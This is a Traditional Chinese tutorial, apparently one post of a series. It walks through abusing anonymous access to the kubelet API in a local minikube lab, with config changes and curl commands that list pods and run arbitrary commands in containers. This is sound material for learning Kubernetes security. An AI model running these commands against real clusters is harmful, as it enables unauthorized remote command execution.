今天要介紹跟 K8s 內部元件設定不當的濫用,這次要攻擊的是 kubelet,一樣在攻擊前先看手法跟位置。參考 从攻击者视角聊聊K8S集群安全 - 上 一圖,屬於3號的攻擊手法。
另外依據微軟的 Threat-Matrix-for-Kubernetes,該手法隸屬資料如下 :
相關資訊可以參考 Attacking Kubernetes clusters using the Kubelet API,裡面有紀錄很多 kubelet 的利用方式。
kubelet 的服務通常起在 10250 port 上面,可以先用 curl 測試看看它的權限,若回傳 Unauthorized 代表沒有開啟匿名存取。
minikube delete && minikube start ;
minikube ssh ;
sudo apt update && sudo apt install -y net-tools vim ;
sudo netstat -tlupn ;
curl -k https://localhost:10250/pods ;
依照 Kubelet authentication/authorization 內容之說明。By default, requests to the kubelet's HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a username of system:anonymous and a group of system:unauthenticated.
kubelet 開啟匿名存取的方法有兩種,一種是調整 kubelet 的設定檔案以及開放匿名者的存取權限,另一種是直接透過 minikube 啟動時設定參數。
備份 kubelet 的設定檔案,編輯檔案
sudo cp /var/lib/kubelet/config.yaml ~/config.yaml.bak ;
sudo vim /var/lib/kubelet/config.yaml ;
apiVersion: kubelet.config.k8s.io/v1beta1
authentication:
anonymous:
enabled: true
...
authorization:
mode: AlwaysAllow
sudo systemctl restart kubelet.service ;
curl -k https://localhost:10250/pods ;
如果少設定 authorization mode 為 AlwaysAllow 會出現 "Forbidden (user=system:anonymous, verb=get, resource=nodes, subresource=proxy)" 相關訊息,看起來就是匿名者通過認證但是沒有權限。
第二種方法參考該網站給的指令直接建置環境,則 minikube 啟動 kubelet 時會帶入對應參數
minikube delete && minikube start --extra-config=kubelet.anonymous-auth=true --extra-config=kubelet.authorization-mode=AlwaysAllow ;
minikube ssh ;
ps aux | grep /kubelet | grep -v grep ;
kubectl run target-pod --image=aeifkz/my-ubuntu:v1.0 ;
kubectl exec -it target-pod -- bash ;
apt install -y jq ;
# 列出執行中的 pod name、container name
curl -k https://192.168.49.2:10250/runningpods/ | jq '.items[].metadata.name' ;
#參考 https://stackoverflow.com/questions/28164849/using-jq-to-parse-and-display-multiple-fields-in-a-json-serially
# 列出執行中的 pod namespace、name、container name
curl -k https://192.168.49.2:10250/runningpods/ | jq '.items[] | "\(.metadata.namespace) \(.metadata.name) \(.spec.containers[].name)" ' ;
# 在 pod 裡面執行任意指令
curl -X POST -k https://192.168.49.2:10250/run/<namespace>/<pod>/<container> -d "cmd=<command>" ;
本日回顧 :
次日預告 :